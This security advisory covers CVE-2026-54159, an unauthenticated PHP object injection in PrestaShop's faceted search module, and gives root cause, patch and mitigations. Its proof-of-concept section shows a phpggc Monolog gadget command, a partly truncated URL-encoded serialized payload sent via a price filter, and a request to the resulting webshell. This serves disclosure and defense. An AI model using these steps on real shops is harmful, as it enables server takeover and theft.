critical · 10CVE-2026-54159Jul 10, 2026

CVE-2026-54159: prestashop/ps_facetedsearch PHP Object Injection via Slider Filter Cache

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A critical unauthenticated PHP object injection flaw in PrestaShop's faceted search module lets any visitor smuggle a malicious serialized object through a price or weight slider URL, which the server

Packageprestashop/ps_facetedsearch
Ecosystemcomposer
Affected>= 3.0.0, < 4.0.4
Fixed in4.0.4

The problem

The module reads slider filter values (price, weight) from the request URL and writes them into the `ps_layered_filter_block` database cache via `serialize()`. On a cache hit, `Block::getFromCache()` calls raw `unserialize()` on that stored value with no class allowlist.

An attacker can craft a URL whose slider value is a serialized PHP object. That string passes through `pSQL()` and lands verbatim in the cache row. The next page load triggers `unserialize()` on attacker-controlled data. A Monolog gadget chain available in every PrestaShop installation then writes an arbitrary PHP file inside the module directory, which becomes a web-accessible shell.

Exploitation requires no account, no CSRF token, and no prior knowledge of the shop.

Proof of concept

A working proof-of-concept for CVE-2026-54159 in prestashop/ps_facetedsearch, with the exact payload below.

http
# 1. Generate a Monolog/RCE1 gadget chain webshell payload with phpggc:
./phpggc Monolog/RCE1 system 'id' -s
# Example output (truncated for readability):
# O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"\0*\0socket";O:29:"Monolog\Handler\BufferHandler":7:{...}}

# 2. URL-encode the serialized payload and inject it as the slider (price) value.
# The module reads `price_min` / `price_max` from the URL without validation.
# A single GET request to any category page with a price filter is enough:
GET /en/3-dresses?q=Price-O%3A32%3A%22Monolog%5CHandler%5CSyslogUdpHandler%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00socket%22%3BO%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BN%3Bs%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A-1%3B...%7D%7D HTTP/1.1
Host: shop.example.com

# The slider value is stored in ps_layered_filter_block.
# On the next cache read, unserialize() fires the gadget chain,
# and the Monolog handler writes a webshell under modules/ps_facetedsearch/.

# 3. Access the dropped shell:
GET /modules/ps_facetedsearch/shell.php?cmd=id HTTP/1.1
Host: shop.example.com

The root cause is that `Block::getFromCache()` called PHP's native `unserialize()` on a row retrieved from the DB cache, and that cache row was written from attacker-supplied URL input with no type or class validation (CWE-502).

The patch (commit 9ca839f) replaces `unserialize()` with `\Tools::unSerialize()`, which is PrestaShop's safe wrapper. That wrapper checks the data against a known-safe class allowlist and returns `false` for anything that looks like an object string, preventing gadget-chain instantiation entirely.

The advisory itself names Monolog classes as the expected gadget source and suggests WAF rules matching `O:` and `Monolog\` patterns, confirming the Monolog/RCE chain is the intended exploit path. PrestaShop ships Monolog as a core dependency, making a working chain available on every affected installation.

The fix

Update `ps_facetedsearch` to version 4.0.4 (released 2026-06-03). That version contains a single-commit fix replacing the raw `unserialize()` call with `Tools::unSerialize()` in `src/Filters/Block.php`. If you cannot update immediately: remove price and weight slider filters from all front-office filter templates to eliminate the attack surface, clear the `ps_layered_filter_block` table, and audit `modules/ps_facetedsearch/` for unexpected PHP files.

Also update PrestaShop core to 9.1.4 or 8.2.7, which include additional dependency-level hardening.

Reported by Frédéric Moreau (Antadis) and Gilles Caudal (Datalinx).

References: [1][2]

Related research